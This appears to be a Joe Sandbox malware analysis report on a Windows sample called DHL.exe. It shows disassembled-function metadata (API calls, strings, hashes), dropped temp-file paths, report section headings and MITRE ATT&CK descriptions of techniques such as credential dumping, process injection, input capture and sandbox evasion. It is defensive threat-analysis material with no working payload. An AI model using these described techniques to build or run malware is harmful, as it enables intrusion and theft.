Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: 4df70f7bafff8832b4edcecbee92ba26067814e17835fa9192afc539637776e7
Instruction ID: c2c42f494202c6a5ab03e090a5ad24dc8c9872dfc1ef36adfa5be1fdefcbc609
Opcode Fuzzy Hash: 4df70f7bafff8832b4edcecbee92ba26067814e17835fa9192afc539637776e7
Instruction Fuzzy Hash: DEE02B02B14230209231337DBDC1FBF568ADFC5B90710183FF981C6266EAA48E9193A2

Function 00A00B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00A00B23

Strings

AutoIt, xrefs: 00A00B17
Error allocating memory., xrefs: 00A00B1C

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: b674fdd944d51b807d5ba6011c82cac75472b655dcd0ebffd1dcca84ccfe343a
Instruction ID: ca6018dca44c7d9b0c66cc33204cc6eb96fe4fa9173becec46aa03419f6ef067
Opcode Fuzzy Hash: b674fdd944d51b807d5ba6011c82cac75472b655dcd0ebffd1dcca84ccfe343a
Instruction Fuzzy Hash: B9E04F322843183AD21437947D03FD97A849F46B75F10082AFB98A55C38BE2659047E9

Function 009C0D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 009BF7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,009C0D71,?,?,?,009A100A), ref: 009BF7CE

IsDebuggerPresent.KERNEL32(?,?,?,009A100A), ref: 009C0D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,009A100A), ref: 009C0D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 009C0D7F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: 2ec4fab30c5d4620144d1f03baf28260596d0cfa594b5156b70cfb41561c4f4e
Instruction ID: e9bbd0ed223d0a1179d81af69c3fe3ef68ba3dd53a1e86945bbb0af9973b3663
Opcode Fuzzy Hash: 2ec4fab30c5d4620144d1f03baf28260596d0cfa594b5156b70cfb41561c4f4e
Instruction Fuzzy Hash: C6E06D706003118FD370EFF8DC047867BE4AB40750F00896DF886C6691DBB4E4458B92

Function 009FD21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 009FD220

Strings

X64, xrefs: 009FD2A8
%.3d, xrefs: 009FD22B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: e36dc4c2fa4639e6f7a70d9c67f7d29f19be65b41891148cb7224b9d24c42bc9
Instruction ID: 340813d3d0166bd37de97b7ccf5c570c63359a97349dc7f21b3eaef1ea09154d
Opcode Fuzzy Hash: e36dc4c2fa4639e6f7a70d9c67f7d29f19be65b41891148cb7224b9d24c42bc9
Instruction Fuzzy Hash: 4CD0126180A11CE9CB50A7D0DD459FAB37DBB08311F608C52FA26A1040E62CC508A7A1

Function 00A32322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00A3232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00A3233F

Part of subcall function 00A0E97B: Sleep.KERNEL32 ref: 00A0E9F3

Strings

Shell_TrayWnd, xrefs: 00A32325

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 11e4557b11c2983031cab1bf71e83d360e38034c281586564cb9cb9de8e47bb8
Instruction ID: 0e997119ec73d4ebec36204526116f52660ce8f70d145ab24cbe05e981b68965
Opcode Fuzzy Hash: 11e4557b11c2983031cab1bf71e83d360e38034c281586564cb9cb9de8e47bb8
Instruction Fuzzy Hash: 89D0C936394310B6E664E7B0AC4FFC6BA14AB00B20F0049167645BA1D0C9A4A8028B54

Function 00A32356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00A3236C
PostMessageW.USER32(00000000), ref: 00A32373

Part of subcall function 00A0E97B: Sleep.KERNEL32 ref: 00A0E9F3

Strings

Shell_TrayWnd, xrefs: 00A32365

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 9fa8fcf414bf5eb5484c787c5470c7a3d92d48ad7edd78b6c36c70c1a03b74b9
Instruction ID: d6f18b10ecb7b30ad136d8f697856d017cd23c7bc3c012382ec232865a90d378
Opcode Fuzzy Hash: 9fa8fcf414bf5eb5484c787c5470c7a3d92d48ad7edd78b6c36c70c1a03b74b9
Instruction Fuzzy Hash: 41D0C9323C13107AE664E7B0AC4FFC6B614AB05B20F0049167645BA1D0C9A4A8028B54

Function 009DBDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 009DBE93
GetLastError.KERNEL32 ref: 009DBEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 009DBEFC

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 1df8e8706a7ecbe33b58e2a4defab32b3108e98706164fb31edcce81db893550
Instruction ID: 949e952cee943c3f258aaf9ee341b295629c1645d0cfc1f3b47ca24d470bb8e9
Opcode Fuzzy Hash: 1df8e8706a7ecbe33b58e2a4defab32b3108e98706164fb31edcce81db893550
Instruction Fuzzy Hash: CF414C34640206EFCF219FA9CC54BBA7BA9DF41320F16C15AF959973A1DB308D01DB60

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DHL.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\autCA0B.tmp

C:\Users\user\AppData\Local\Temp\o3Z6161

C:\Users\user\AppData\Local\Temp\woolpress

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Windows Analysis Report
DHL.exe

Function 009A42DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Function 009A42A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Function 009E2BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Function 009A2CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Function 009E065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Function 009A344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 009A2B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Function 009A3170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Function 00E155D8 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 009A2C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 00E153B8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 140
fileCOMMON

Function 00A12947 Relevance: 7.8, APIs: 5, Instructions: 313
fileCOMMON

Function 009A3B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Function 00E142A8 Relevance: 6.7, APIs: 4, Instructions: 720
processthreadCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre